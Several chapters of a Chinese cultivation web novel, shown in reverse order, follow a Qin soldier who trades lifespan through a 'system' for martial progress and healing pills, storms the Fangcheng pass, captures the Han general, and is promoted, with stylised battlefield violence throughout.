赵诚闭目细细感受着,这种元气的数量,相比体内的气血,微弱稀薄的几乎感受不到,就像是铁杵和发丝的区别。
但就是这样微弱的元气,却能够有着如此妙用,不但能够大幅提升力量,还能够快速修复伤势。
“怪不得系统之中寿命凝炼聚元丹这么贵,原来天地元气蕴含着如此强大的力量。”
“而炼皮之所以如此艰难,就是为了让我凝练全身皮肤到极致,然后通过这种呼吸的方式,来感知和运用天地元气。”
“可惜这些元气无法长期存留在体内,就和正常呼吸一样,只能暂且化用气息,随着呼吸就消耗掉了。”
“如何才能将元气留存下来呢?”
赵诚苦思冥想,没有答案。
寿命推演百年,才摸索到了吸收利用一丝天地元气的方法,他这一时半会根本找不到突破口。
“恐怕留存天地元气的办法,存在于之后的元气淬体修炼方式之中。”
“按照现在的情况推断,元气淬体阶段应该便是让肉身逐渐亲和天地元气,渐渐达到承载甚至融合天地元气的程度。”
“再之后的主要修炼方向就是吸收并存续元气于体内,到时候聚元丹就有用处了。”
“现在的我,就算是凝练了聚元丹也没用,吃下去就消耗掉,根本存留不下来,幸好没有消耗寿命凝练。”
“好在现在还有三千五百多年寿命可用,继续推演元气淬体便是。”
漫漫长夜,赵诚也并不着急,再次投入了一百年进去。
【开始投入寿命修炼基础炼体功。】
【第一年,你开始不断捕捉感知到的丝丝天地元气,而后尝试引导它顺着毛孔到达皮下的肌肉之中,但这种引导十分艰难,那些天地元气根本不听你的,往往很快就散去了……】
【第十年,你还是无法引导天地元气……】
【第三十年,你还是无法引导天地元气……】
【第七十年,又四十年苦心孤诣,你还是无法引导天地元气,但通过长久的全身呼吸,天地元气自然流淌,一丝丝天地元气深入皮下,起到了淬炼表层肌肉的效果,只是效率非常缓慢……】
【第一百年,你惊讶的发现,随着百年的元气淬体,你一次全身呼吸能够吸收流转的天地元气更多了,而且皮肤和一些长时间受到淬炼的肌肉,能够存蓄利用的元气也更多,现如今,你一次呼吸能够承载的天地元气比百年前多了数倍!】
赵诚睁开眼睛,惊异之色一闪而逝。
百年时间,他收获甚微,元气淬体连入门都不算。
但这微小的收获,却印证了他的思路是对的。
“元气淬体,就是为了让我的身体更加亲和天地元气,在不断地淬炼中,可以承载更多的天地元气,直至能够长期存蓄甚至熔炼天地元气!”
仅仅是如今的进度,已经让赵诚感觉到了这元气的不凡。
他站起身来,深深呼吸之间,比之前多出数倍的天地元气顺着全身毛孔,深入皮肉之间。
好似有某种力量加持在了身体表面,他受到元气加持的皮肤强度暴增,肌肉力量暴增!
随手一拳轰出,有猎猎爆响。
赵诚提起青铜剑,深吸一口气,将元气加持在皮肉间,而后一剑斩下。
嗤!
长剑滑落,皮肤毫无痕迹。
好似被那种气机格挡了下来,皮肤根本就没有受到力量伤害。
“若是能够将这种元气大量存蓄于体内,身体将到达何种程度?”
想着,赵诚干脆投入一千年寿命进去。
【投入一千年寿命修炼基础炼体功。】
【第一年,你不再强求引导天地元气,而是通过引导呼吸来让天地元气自然流淌在体内,不断淬炼着体魄。】
【第一百年,你每一次呼吸,吸收的天地元气更多了,开始盈满皮肤,融入血肉之中……】
【第三百年,如今你每一次呼吸,都有许多天地元气进入体内,流淌进入肌肉之中,让你的肌肉充满了无穷无尽的力量,但是元气依然会不断流失。】
【第五百年,你发现自己一次呼吸能够吸纳的天地元气数量达到了某种极限,好在许多表层肌肉已经对元气无比的亲和,能够积蓄吐纳半个时辰的天地元气,你继续吐纳。】
【第八百年,三百年水磨工夫中,天地元气已经开始在你的身体深处流淌,除了最深处的肌肉和筋骨,都已经流淌着许多天地元气,但依然有大量天地元气在不断地消散。】
【第一千年,你的身体内外好似泡在天地元气之中,就连五脏六腑都被元气不断地淬炼着,不论是身体强度、力量还是恢复能力,都与之前有着天壤之别,可让你懊恼的是,体内元气还在不断流失……】
赵诚睁开眼睛,深深皱眉,感到心痛不已。
一千年啊,元气还在流失!?
心痛间,他的身体如同本能一般深深吐纳,大量天地元气瞬间盈满全身上下,流淌在肌肉深处,筋骨缝隙之间,一阵阵舒泰自体内传来,五脏六腑都好似泡在温泉里面。
说不尽的玄妙之感,让赵诚灵魂都在战栗。
“嘶……爽!”
【你的寿命增加五十年,当前剩余寿命:2525】
“咦?”
赵诚有点茫然。
寿命无故增加了?
等等,好像是因为元气淬体,增加了我的寿命!
“是因为元气开始淬炼五脏六腑的缘故?”
“听说人类衰老是因为五脏六腑功能不断衰败,而我之前的炼体从未炼到内腑,所以寿命一直没有因为修炼而增加,但是如今元气刚刚开始淬炼到体内脏腑,所以寿命增加了?”
“这样说来,就算我寿命无尽,脏腑也可能会不断衰败。”
“这可不妙,年轻的活着,和衰老的活着,完全不一样。”
“而且,这种力量感,妙不可言……”
此时此刻,他感受着体内的天地元气提供着数之不尽的力量。
就好似体内有一枚核聚变能量环在疯狂提供能量一般。
现如今的身体状态,他感觉自己一拳能打穿城墙!
就算在敌阵之中冲杀三天三夜,也不会力竭!
明日打叶县,自己要是一拳打爆了城墙,敌方守军还不吓得尿了裤子?
第22章 兵家剑法恐怖如斯!
暮色四合,成千上万的火把,将方城隘口照耀的如同白昼。
巡逻的士兵往复于隘口墙道之上,甲胄叩击的声音轻响。
营帐之中,赵诚缓缓睁眼,视野中陡然出现了几张胡子拉碴的糙脸,各个目光关切。
“都尉大人醒了!”
“冯全,你们几个在这里作甚?”
赵诚哭笑不得,自己睡觉也有人观摩吗?
“蒙大人命我等在此守卫。”
“这是您新的装备和兵器。”
冯全将一套铠甲和青铜剑递了上来,这一套装备与之前有着明显不同,其质量远胜从前。
只见那青铜剑长一米二三,剑身呈柳叶形,中脊起棱,刃部有繁复的金属纹路,显然经过千锤百炼,虽为青铜剑,但其沉重质感,与精铁无异,极为坚固锐利。
此剑剑首配有圆环,剑柄缠缑防滑,护手刻错金云纹,剑鞘以鱼皮包裹,鞘口镶青铜琫彰显身份。
头盔为青铜札胄,以二三十片青铜甲片编缀而成,形制如覆钵,顶部留孔插缨,红色耗牛尾垂落而下。
上身甲为鱼鳞甲,甲片呈鱼鳞状密集排列,表面鎏金。
这鱼鳞甲异常沉重,一般情况下,将领是不佩戴此甲作战的,但是考虑到赵诚的身体素质,便直接给配上了这鱼鳞甲。
除此之外,还有一些指挥器具。
一展都尉大旗,黑色,旗面绣白虎,杆顶饰青铜矛头,下设三角牙旗。
赵诚褪去之前破烂的战甲,穿戴整齐,如枪挺立间,英武不凡。
“蒙都尉大人带领,突骑营二百余兄弟皆升一爵,我冯全和封若,此后升为大人亲卫,跟随左右。”
赵诚看向冯全和封若,果然看出两人穿戴与之前不同,乃是亲卫装束,腰间还配有亲卫铜锣,可帮助自己发号命令。
赵诚点了点头,“不错,将军可有命令?”
冯全说道,“将军命休整一夜,明日奔赴叶县,我带您去您的营帐吧。”
赵诚之前随便找了个营帐就睡着了,此时军中已经为他分配了都尉规制的营帐。
距离没有多远,赵诚随冯全一路走去,一路上士兵无不行礼,目光景仰,称“都尉大人”。
没多久,便到了分属的营帐,里面陈设简单,也就可供休息,不过地方倒是很大,最重要是单人间,不怕受到打扰。
赵诚很满意,命令道,“都散去吧。”
“是!”
亲卫与护卫散去,赵诚活动了一下身体,察觉身体上下的伤口都已经恢复了不少,有些比较细微的伤口甚至已经长好了。
这除了止血散的用处之外,还得益于他本身强大的恢复能力。
他盘膝坐在营帐中,开始回顾这一战不足的地方。
“经验还是差了许多,打的有些乱七八糟,没有什么章法,全凭勇力冲杀,体力消耗太大,而且杀敌效率也很低。”
“在县廷训练的时候,只练习了基础的剑式,挥剑,劈砍刺撩,连最基础的剑法都谈不上,也没有办法通过系统去精进一番。”
“或许,我可以结合这一场战斗,自创一门剑法。”
如此想着,赵诚细细回忆战场杀伐的细节。
一旦入阵,便是一下子面对七八个人同时攻击,这个时候,赵诚往往挥剑将敌军兵器拨到一边,或者干脆不理,只顾冲杀,但难免会挨上很多剑。
若遇到持长矛长戈的军阵,他向前冲的势头,反而会加重长矛扎在身上的力道,身上的许多伤势,都是这么来的。
对方的力量,可能不足以破防,但他自己本身向前冲的力量却很大,反而帮助敌方给自己破了防。
再加上对方人数很多,一人数刀不断叠加,就算是金刚不坏也难免破防。
“蚁多咬死象,这一次的战斗是在方城之上,墙道就那么宽,限制了我们冲杀人数的同时,也限制了对方的冲杀人数,但若是在宽阔地势上,我同时要面对的敌军就更多了。”
“一旦深入敌阵,要面对的就不仅仅是前面的敌人,甚至连身后都会有很多敌人,身前的敌人拥堵而来,身后则不断下冷刀,只有冲杀的够快,让身后的敌人都追不上,才能避免这种困境。”
“所以,最重要的便是杀敌效率。”
“如果能够做到敌军入我三步之内必死,杀得比对方冲过来的更快,我就能节省许多体力,更不会受太多的伤了。”
“杀敌要快,招式必须快准狠,而且不需要用最大的力量,用恰到好处的力量,一剑封喉,才是效率最大化。”
赵诚闭目沉思,手中长剑缓缓抬起,而后对着想象中的假想敌一剑刺出,剑刃破空,发出尖锐呼啸声。
“力量还是大了些,动作也繁复,还要更简单,更快才行。”
嗤嗤嗤!
剑刃在营帐之中不断划过,赵诚的动作越来越简单,越来越利落。
但到了某种程度之后,便无法再精进一些了。
“总感觉还差了一些,差在哪了呢?”
他持续的模拟杀敌,剑势虽凌厉,却总感觉差了什么东西,他眉头越皱越深。
终于,他停了下来,皱眉沉思起来。
营帐门口,蒙恬一直笑吟吟的看着赵诚练剑,等到赵诚停了下来,苦思不解,才踏入营帐说道,“百练不如一战,战场杀伐之技,当然是要战场磨炼才有效果。”
“你凭空推演,终究没有临阵时候御敌那种危机与紧迫。”
一语惊醒梦中人,赵诚顿时恍然,“正是如此,我说差些什么,差的还是实战。”
他扭头看向蒙恬,“兄长,你可有战场杀伐剑技?”
蒙恬笑道,“蒙家三代为将,以兵法传家,剑术自然也是有的。”
“不过我蒙家剑法与兵法结合,内含兵法精髓,如攻敌必救,虚实相应等剑招,与脑袋里面的排兵布阵,兵法谋略层层相连,贵在心谋巧略,不太适合你,而且就算我想教,你短时间内也很难学会。”
“要学蒙家剑法,就要先学蒙家兵法,而兵法不是一朝一夕之功,需要统兵对战多年,于实践中印证所学,了解深厚之后,出剑自然出神入化。”
“若无这兵法相合,蒙家剑法也与普通军中基础剑式,没有太大区别,无非劈砍撩刺。”
“而且你的体魄勇武远超常人,不需要这种钩心斗角的剑技,要练的是杀人剑。”
赵诚觉得蒙恬说的有道理,他一刀就能砍死敌人,确实没有必要钩心斗角。
现在缺的,不过是用最小的力量,最快的击杀敌人。
不过他对于蒙恬的剑法,倒是很有些好奇。
“兄长,不若与我切磋两招?”
蒙恬也很有兴趣,拔剑出来,“练练可以,你可要收着力道,不要真把我给刺死了。”
赵诚笑道,“那自然不会,我将力道放轻便是。”
蒙恬持剑摆开架势,“来吧。”
赵诚一剑刺出,直奔蒙恬咽喉,速度极快。
蒙恬动作虽然没有他快,但是却好似提前预判一般,长剑提前拦在赵诚长剑之前,于剑尖之上一点,将赵诚长剑荡开,剑光一转,反攻赵诚咽喉。
赵诚目光一凛,身体一侧,想要躲开此剑。
然而蒙恬这一剑,竟然只是假动作,依然如同提前知道赵诚闪避一般,剑尖速度陡增,真正杀招图穷匕见,直逼赵诚咽喉。
赵诚这一躲正中下怀,不但没有躲开,反倒配合蒙恬拉近了距离。
他心惊不已,一边后撤,一边以手中剑招回防。
蒙恬一笑,手腕一扭,剑尖沉下,竟朝着赵诚腰肢以下的那条要害划去!
这可把赵诚吓得不轻,双腿一夹,再也顾不得收力了,力量爆发,将蒙恬长剑点翻,整个人向后一大跳。
“兄长,你这……”
这招也太卑鄙了!
蒙恬手腕震麻,强行收剑,而后看着脸色古怪的赵诚哈哈大笑。
“战场杀伐,当然是奔着要害去,谁讲规矩仁义谁才是傻子。”
“不过阿诚你这力量,当真可怖,如此轻碰,我的剑都差点脱手,手腕被你震得生疼。”
赵诚苦笑,“我的要害都快要中剑,哪里还顾得上收力。”
这就是攻敌必救吗?
兵家剑法恐怖如斯!
第21章 寿命凝丹,蒙武的信
什么!?
一场仗打下来,这小子成我领导了!?
一旁的贺平双眼瞪似铜铃,已经完全听傻了。
反应过来后,他心情复杂的看着赵诚。
军功复核可不是开玩笑的,一旦发现作假,便是连坐,上级下级全部斩首。
所以这个统计绝对不会夸大!
也就是说,眼前这个少年,一个人杀了二百多个,还带着人杀了五百多个,更有先登之功和擒敌主将之功!
最可怕的是,他就带了二百个人啊,而且还中了敌军的埋伏,这都没死,还拿下这么多军功,这……
根本比不了!
简直不是人!
这样的家伙他这辈子也就见过这么一个,连嫉妒的心思都升不起来,只有满满的敬佩和尊崇。
“谢将军。”赵诚肃拜。
“先别急着谢,你这军功实在是从无先例,具体如何封赏,恐怕还得等军报到了咸阳,由大王一言而决。”蒙武说着,脸色也是十分古怪,军伍多年,他也从没见过这样的情况。
“不过军职本将可以暂时给予任命,你就先任突骑都尉,领骑兵三千。”
赵诚肃拜,“属下领命,只是,属下没有什么指挥经验……”
他哪指挥过三千人啊,领百余人还费劲呢,只会一个带头冲锋。
领三千人也带头冲锋,那不乱来嘛?
蒙武一笑,“蒙恬此战功绩也不小,升突骑校尉,做你的副将,辅助你指挥便可。”
蒙恬肃拜,“属下领命!”
赵诚微微松了口气,背负三千人的命运,他也有些压力,不过有了蒙恬帮助,就放松多了。
见了赵诚的表情,蒙武也是一笑,暗道这小子还是有自知之明的。
“这一战打得不错,有你先登破军,本将也省了许多功夫,快去医治吧,军中重伤的将士应该也都治疗的差不多了。”
之前他让赵诚医治,赵诚说自己都是轻伤,让重伤的同袍先治,把周围不少军士感动的不轻,没多久就传开了,说什么赵诚身中数百刀,还让同袍先治……
经此一战,赵诚在军中的威望直线上升,蒙武全都看在眼里,所以才提前封了赵诚突骑都尉,有此提拔,再加上赵诚身先士卒的战斗风格,军中士气必然大增。
赵诚和蒙恬出了营帐。
蒙恬对着赵诚一个揖礼,“此战为兄是沾了你的光,才有如此功绩,多谢。”
如果不是赵诚神勇,换一个人来,二百突骑精锐已经中伏死光了,他不但无功,反而要受重罚!
赵诚连忙将他拉起来,“说这些做什么,若无兄长支援,我怕是已经交代了。”
他转移话题问道,“说起来,这封爵授田要什么时候到我们村?”
想到舅舅和舅母看到自己封爵授田的情形,再想到将来荣归故里,赵诚就很高兴。
蒙恬笑了起来,“估计没几日便可完成授田授爵仪式,将土地、宅地和奴婢登记在你的户籍中,并刻石立碑公示。”
赵诚惊讶道,“这么快,不是说要随军报到咸阳,请大王批复吗?”
蒙恬笑道,“这就是父亲的高明之处了,你猜你如此军功,为何父亲说是定到五大夫,而不是给你报左庶长?”
赵诚不解,“为何?”
蒙恬说道,“十级爵左庶长已经算是高爵,需要将你的战功随军报送至咸阳,而后主爵中尉(主管爵位)和廷尉(主管司法)联合审核。
后经王上批准确立爵位,再由丞相府发文至地方郡县,按爵级分配田宅奴婢,这一来一回,短则一月,多则数月,战事可能都打完了。”
“但五大夫尚且算是低爵,可由县令授爵。”
“军中复核后,直接传“赐爵令”到阳城县,县中便可给你在户籍上登了爵位,刻石碑进行公示,分配田宅奴婢,免除你家人徭役,食三百户租税。”
“而且,灭韩之战还没结束,你之后恐怕不会少了军功,军功一战一报,总归都是你的,你爵位还要不断晋升,以最终统算为准,先封五大夫,只是省去了许多麻烦。”
“如此甚好!”赵诚对于这个做法很是满意。
这才一场战斗而已,他在此战之前,连个公士都没封,如今却一连跨越八级,直接封了五大夫的爵位!
要知道,五大夫可获田 25顷、宅 225亩、仆人 25名;岁俸 450石;食邑 300户;免全家徭役,在地方上与县令同级!
这么多田,还分配仆人耕种,除此之外,还有俸禄和租税!
这才离开怀阳村几日,刚打了一场仗,还有什么不满意的!
想到舅舅和舅母看到自己封五大夫爵的表情,赵诚嘴角就有点压不住了。
再看一眼自己的系统,他的嘴角最终还是压不住了。
【当前剩余寿命:3735年】
【寿命突破千年,解锁寿命凝丹功能,可以消耗寿命凝练丹药,当前可凝练丹药为……】
赵诚心中惊喜,与蒙恬告别一声,“兄长,我去找医官治伤了。”
蒙恬松了口气似的,“快去快去。”
这小子总算靠谱些,知道去治伤了,这也就是他体格超越常人,换个旁人来,现在已经死了八百回了。
赵诚一溜烟跑掉,找了个无人的营帐角落盘坐下来,心神沉入系统。
“已经夺了近四千年寿命,我现在什么都不干,只活着,都可以活到二十一世纪去了,这已经算是长生不老了。”
“就是不知道寿命如此之多,我会不会老去,要是越活越老,活得久也没什么意思。”
“先看看这个新功能吧,寿命凝丹,都有什么丹药可以凝练?”
他细细打量起系统的新功能。
【修炼类丹药:气血丹(内服提供大量气血,强身健体):一枚消耗寿命十年。
聚气丹(服用可提供少量天地元气):一枚消耗寿命一百年。
聚元丹(内服可提供大量天地元气):一枚消耗寿命一千年。
悟性丹(服用可大幅提升十年悟性):一枚消耗寿命一千年。
洗髓丹(洗经伐髓,提升根骨):一枚消耗寿命一万年。】
【恢复类丹药:回气丹(服用可快速恢复体力):一枚消耗五年寿命。
小还丹(内服三日内快速恢复轻度内外伤):一枚消耗十年寿命。
止血膏(外敷可迅速止血,增加机体恢复能力):一罐消耗寿命十年。
大还丹(内服半日内恢复重度内外伤):一枚消耗一百年寿命
生肌膏(外敷可使深可见骨的创伤瞬间止血结痂,三日内生肌长肉,七日结痂脱落无痕):一罐消耗寿命百年。
回春丹(内服半刻内恢复所有伤势):一枚消耗一千年寿命
玉露膏(可治疗骨折筋断,断骨断筋可重新接续,敷上后剧痛即止,次日能活动筋骨):一罐消耗寿命一千年。
造化丹(生死人肉白骨,一息尚存皆可治愈):一枚消耗一万年寿命】
“嘶……这些丹药真是贵啊,不过倒也确实玄妙,不说其他,这回春丹还是很值的,半刻钟就能够恢复所有伤势,完全是神丹妙药,有救命的效果。”
“气血丹也很便宜,之前若是解锁了寿命凝丹功能,我哪里还需要消耗那么久的时间去炼骨?”
“回气丹也不错,身陷敌阵时难免力竭,来一颗回气丹就能恢复体力,简直必备。”
“先购买十枚回气丹!”
【扣除五十年寿命,获得回气丹*10,是否现在领取?】
“先不领,需要的时候再用吧。”
“再买一罐止血膏。”
【扣除十年寿命,获得止血膏,是否现在领取?】
“领取。”
眼前一花,赵诚的手中已经多出了一个小罐,大概鹅卵石那么大,里面的药膏看起来不多,也就二两左右。
“奸商啊,我还以为一罐有多大。”
想来想去,赵诚也没有兑换更贵的东西,这可是好不容易夺来的寿命,留着推演炼体功,增加杀敌的能力才是用在刀刃上。
一边想着,他一边将止血膏涂抹在身体的伤口上。
他这数百道伤口看着唬人,实则只是皮肉伤,连筋膜都没有砍破,很多地方已经结痂了。
一些没有筋膜保护的地方,如今还在流血,但是止血膏一抹上去,不过片刻便传来一阵清凉,而后伤口很快结痂,不再流血。
“倒是好东西,止血膏药效已经这么好,百年寿命凝练的大还丹和生肌膏又该有多好用?”
想想就算了,兑换一个要一千年寿命,他才不换。
“休息一会吧。”
即使是以他的体魄,在如此激烈的战场杀伐下,也有些疲惫,身体上还好,主要是精神上的消耗很大。
第一次杀人,第一次冲阵,第一次拼死战斗,第一次破敌擒将,属实是太刺激了。
便如此,赵诚躺在营帐中,迷迷糊糊的睡了过去。
清风吹起营帐的门帘,送来阵阵清爽,让赵诚身体渐渐地放松了下来,进入了梦中。
在梦里,他站在怀阳村祠堂前坪,县令给自己授爵授田,锣鼓喧天中,舅舅和村民们围在周围喜气洋洋,惊叹艳羡声不绝于耳。
千亩两天,无边大宅,数十仆从,都是自己的。
一旁的舅舅舅母,脸上都乐开了花……
……
在赵诚酣睡时,主将蒙武在营帐中,正提笔写信。
墨行竹简,笔锋遒劲。
“大王陛下:臣蒙武顿首,敢以边事奏闻。臣近来得一少年神将,此子名为赵诚,年方十六,神勇无当。
于方城隘口一役,此子大放异彩,竟率二百突骑锐士,强登方城南麓,时敌有戍卒精锐两千,据险而守。
赵诚身先士卒,攀崖而上,短兵相接处,斩首二百有二十七人,竟能夺其隘塞,立旗为识,苦撑至援军合围……
及敌军突围,赵诚复孤身切入军阵,冲坚折锐,生擒敌将。使得我军不废吹灰之力,大破隘口。
此诚战神之资,万夫莫当之猛将……
更有异者:此子形貌英武,其眉宇之间,与陛下有几分肖似。臣闻相者言,贵胄之相,多有天表。今赵诚生具此貌,又兼万人之勇,殆天以赐秦也……
臣蒙武再拜,秦王政十七年孟冬。”
写完这信,蒙武看了看,有些满意的点了点头。
“来人,将此信与军报一同送往咸阳,呈献于大王!”
第20章 突骑都尉,升爵九级!
赵诚速度之快,宛如化作了一道残影一般,在无数韩兵汹涌的军阵之中左冲右突,那叫一个神挡杀神,佛挡杀佛!
层层韩军化作的兵墙,在他面前就像是纸糊的一样,轻松冲破!
几乎是眨眼之间,就已经冲到了韩明七步之内!
那鲜血淋漓、百道伤口的身影,裹挟腥风而来!
煞气汹涌的眸子清晰可见,如此杀机笼罩,让韩明身边的副将亲卫全都是亡魂皆冒!
副将脸色发白,却大喝一声冲上前去,“保护将军!”
他以身当先拦在赵诚身前,举刀便砍,在其身后,七八名亲卫兵也是紧随其后,不顾生死的想要拦住赵诚!
而韩明则是脸色苍白的后退了数步之后,竟没有逃离,反而再一次开弓,想要射杀赵诚!
赵诚挥舞手上长剑劈下,长剑撕裂了空气一般,在空中划出尖锐风声,巨大的力量势不可当,一剑就将副将看来的长刀劈碎。
副将脸色大变,何等怪力!!
此时再想要闪躲,却已经来不及了,只能眼睁睁看着赵诚的长剑划过,而后视野旋转起来。
副将头颅飞起!
身后七八名亲卫则是一拥而上,赵诚俯身前冲,犹如一座巨大的攻城车一般,直接将七八名亲卫撞了个人仰马翻,七零八落。
撞身而过时,双手不停,或砸或砍,将七八名亲卫兵一一击杀!
这在韩军精锐之中挑选出来的亲卫兵,在赵诚面前好似婴儿一般毫无反抗之力!
咻!
此时十余步外,韩明终于射出了手中之箭,如此距离之下,此箭势大力沉,直指赵诚的眼珠!
眨眼之间,箭锋已经来到了赵诚眼珠前三寸距离!
韩明眼中含着莫大惊喜和期望,此箭必杀!
然而下一刻,让他绝望的是,赵诚竟然能够在乱战之中迅速察觉到他的动作,前一刻还在捏断亲卫脖颈的左手,竟然突然握住了飞来之箭,将那飞箭一把抓停!
韩明双目失神,浑身颤抖,“妖魔!!这是妖魔!”
他再无斗志,双腿一软跌倒在地,向后连滚带爬,嘴上还在喊着,“拦住他!!拦住他!!”
但那些普通士兵如何能够拦住赵诚,被赵诚全都砍翻在地!
其他士卒都被他吓破了胆,让他如入无人之境,眨眼间扑到韩明近前!
韩明挣扎着想要还击,赵诚探手而出,抓住他的手腕一捏!
咔嚓脆响间,韩明两只手腕瞬间骨裂,惨叫一声!!
赵诚将旁边的韩军军旗抓来,从韩明身后铠甲上一穿而过,而后将其直接当做军旗给挑了起来。
他单手挥起挂着韩主将的军旗,整个人如豹子一样窜到了城楼高处,将军旗上的韩明高高举起,声若虎吼,“尔等主将已被生擒!!还不束手投降?”
虎吼般的声音响彻混乱的战场,还在拼命抵抗的韩军失神回头,顿时肝胆俱裂!
只见他们的将军,如今像个废人一般,被狼狈的挂在自家军旗之上,被那浑身是血的煞星当做旗帜挥舞,满脸羞愤欲死,不断吼着,“杀了我!!”
主将被擒,副将身死,韩军已是群龙无首,哪还有什么斗志,顿时溃败,向后跑去!
然而后面,蒙武已经带着兵马杀来,前后夹击之下,韩军更是崩溃,有人跳下方城想要向着林中跑去,却被伏兵所杀。
有人则是直接扔掉了武器,跪地投降。
蒙武远远看着城楼之上挥舞“主将”旗帜的赵诚,满脸赞赏的笑意,“乱战之中,生擒主将,干得漂亮!”
他手中挥舞令旗。
将这场轻松异常的战事收尾。
接下来的事情就简单了,隘口和南麓的韩军都已经被扫灭,由军中后勤人员统计战功,更换旗帜,彻底占领隘口。
……
方城北麓,贺平率领两千人正在激烈攻打方城,一开始他们是凭借突袭冲上了城墙的,但只占领了一炷香的时间,就再一次被打了下来。
贺平是个有经验的,知道攻坚之难,就算以多打少,也很难轻松拿下,所以并不急于一时,稳扎稳打。
随着韩军力量的衰弱,他逐渐加大了攻势。
但不知道怎的,刚刚还在拼死抵抗的韩军,突然只见溃败之势大增,他察觉到了机会,立刻下令猛攻!
“韩军果然军力薄弱,后力明显不足,此战先登之功,是我的了!”
如他所料,没过多久,北麓的韩军就彻底溃败。
“来人,去汇报将军,方城北麓已破!”
他意气风发,成功登上北麓,带军向着隘口杀去,准备和主力大军里应外合。
然而快要到隘口的时候,却渐渐发现了不对劲,远处的军旗竟然不是韩军的,全都已经变成了秦军的。
甚至连战场都被打扫的差不多了。
远远的,正有一队骑兵奔来,为首之人正是蒙恬,其左侧还有一浑身染血的少年,单手持着一杆“挂人”旗帜,细细看去,那挂着的不是韩军守将又是谁?
贺平大为愕然。
这是怎么回事!?
我只用了一个多时辰的时间,就攻下了北麓,这等速度已经是极快的了,怎么隘口已经破掉了,连敌方主将都已经被抓了?
怎么做到的?
他百思不得其解,满脸疑惑的迎上蒙恬。
“蒙恬,这是怎么回事?”
蒙恬笑道,“隘口已破,我等正欲前去支援贺兄,却不想贺兄已经攻破了北麓,果真悍将!”
校尉张了张嘴,却不知道该说些什么。
隘口已破?那我的先登之功呢??
贺平大为心痛,脸上却只能勉强露出笑容来,“哪算什么悍将,用了这么久的时间,隘口都破了,我攻不攻的破北麓都已经不重要,只是省了将军打扫战场的功夫罢了。”
“只是,这隘口怎么破的如此之快,莫非是将军另有奇招?”
蒙恬看了看旁边的赵诚,神秘一笑,“你回去就知道了。”
贺平难受的要死,但也不好意思追着问。
他随着蒙恬一众向着隘口主营而去。
一路上,惊奇的发现周围的士兵都在以无比崇拜敬佩的目光,对着自己这一行人行注目礼,看的贺平一阵一阵的不自在。
这特么又是怎么回事?
他正不解间,耳朵一动,听到了身后两侧秦国士兵的窃窃私语,不由得放缓了马速。
“那个就是突骑前锋赵诚吧?”
“是他!!之前我与他并肩一战,亲眼看到他单枪匹马冲入敌阵,如入无人之境杀到韩军主将身前,副将亲卫都被他随手斩杀,主将更是被他生生挂在了军旗之上示威!”
“你们是没看到,那韩军被他一个人吓得都快尿了,根本不敢上前,连主将都不敢救!”
“如此万夫莫敌的猛将,怪不得能率百余骑硬生生攻下两千守军的方城南麓!”
“听说他才十六岁,是前几日刚刚加入突骑营的新兵!”
“听说此人天生神力,刀枪不入,是杀星下凡呢!”
“看得出来,那韩军主将生的高壮,还不是被他一只手挂在旗杆上,拎着到处走?”
“何止啊,我在突骑营的大哥刚才和我说,此人不光战力神勇,更有通神一般的箭术和骑术。”
“之前在河谷突袭,韩军的斥候队只要被他看见个影子,那就是必死无疑,一路上灭了不知道多少个斥候队,只要他那乌木弓一响,必有人死!神仙来了都跑不了!”
“听说他是神兽化形,乃是九霄山上的麒麟得道,才有如此神异之力!”
“……”
一路向着主营走去,一路上都有士兵在窃窃私语,传唱着赵诚的威名。
而且还越传越玄乎。
连赵诚自己都有点听不下去了。
而贺平更是无比惊奇的看向蒙恬和赵诚,有心询问这些传闻的真实性,却又不知道如何开口,但是不问,又憋得实在难受。
他思来想去,觉得赵诚应该确实是个猛将,但恐怕也没有士卒们传的那么玄乎,二百人怎么可能攻得下两千人守卫的方城,纯是胡扯。
于是他还是开口向着蒙恬问道,“那些士卒所传,蒙兄可听到了?”
蒙恬笑道,“听到了。”
贺平见他没了后续,便追问道,“那些话都是真的?这小兄弟真有这么神勇?”
蒙恬说道,“当然是有真有假……”
贺平闻言松了口气,我就说嘛,人怎么能猛到如此地步,那还算是人吗?
却听蒙恬又道,“关于那些神仙下凡,麒麟得道之类的话,当然是假的,不过战绩军功,却是实打实的。”
“本来他领二百斥候突骑,突袭南麓,却中了埋伏,谁想到,竟生生给占了下来,其中凶险,难以言说啊……”
贺平整个人都傻了,一直到主营都没再开口说话。
直至回营,几人来到蒙武帐中。
蒙武看着浑身数百伤口,却依然生龙活虎的赵诚,神色复杂道,“军法官刚刚复核完军功,你的战功统计出来了。”
“总杀敌二百二十七人,先登南麓,率众杀敌五百四十人,杀一副将,生擒主将。”
“此战,你居首功。”
说到此处,蒙武也眉头微皱,细细沉思了片刻,又说道,“此功……”
“可升军职突骑都尉,领三千骑,授九级爵五大夫,食邑三百户。”
第19章 破敌擒将
说到这里,王勇脸色更白,“至于援军,属下没有看到,只有敌方援军支援赶到。”
“我军本就被那煞星杀灭了锐气,久攻不下已是强弩之末,再有秦军精锐支援而来,堪堪抵挡一阵,便立刻四散溃逃……”
此时韩明的脸色已是铁青,看着王勇的目光如要吃人一般。
“胡言乱语,玩忽职守!你该当何罪!!”
王勇不敢对视,拔剑横在脖子上,“属下本无颜再见将军,但如此军情不能不报,南麓已破,将军早做打算!”
“至于那煞星,我没有说一句假话,将军万万小心,属下先走一步!”
说着,王勇已经是横剑自刎,躺倒在鲜血之中!
看着那刺眼的鲜血,韩明怒气上涌,双目满是血丝,拳头狠狠捶打方城上的青石砖,砸出了血来!
“怎会如此!怎会如此!?”
“什么煞星!?什么力大无穷,刀枪不入!都是借口!”
“两千人埋伏守城,被两百人打了下来,笑话!真是天大的笑话!!”
他快步徘徊,歇斯底里地嘶吼怒骂!
南麓的安排,是他的后路,也是他能抵御秦军数天甚至半月的最关键妙手!
结果就这么破了,而且破得如此离奇,他怎能接受?
身旁副将连忙劝说,“将军息怒啊,南麓已破,方城一万守军,已去四千,北麓恐怕也坚持不了多久,这隘口守不住了,咱们还是早做打算!”
“早做打算!怎么打算!?”韩明几乎失去理智,“南麓被破,方城再也无险可守,北麓也坚持不了多久,隘口失守已成定局!”
“哈哈哈,可怜我一世英名,以一万精锐守此险地,竟然没能消耗秦军一兵一将便已大败,丢了隘口,何其可笑!”他惨笑着,如疯如魔,“何其可笑!!”
副将急道,“将军,咱们现在退去,还有一线生机!以你之能,再多调一些兵力,未尝打不了翻身仗。”
韩明摇头,万念俱灰,“打什么翻身仗,军力本就远弱于秦,占据地利都打得如此不堪,还打什么翻身仗?”
“我又有何脸面退走?”
“有何脸面见同僚,见王上?”
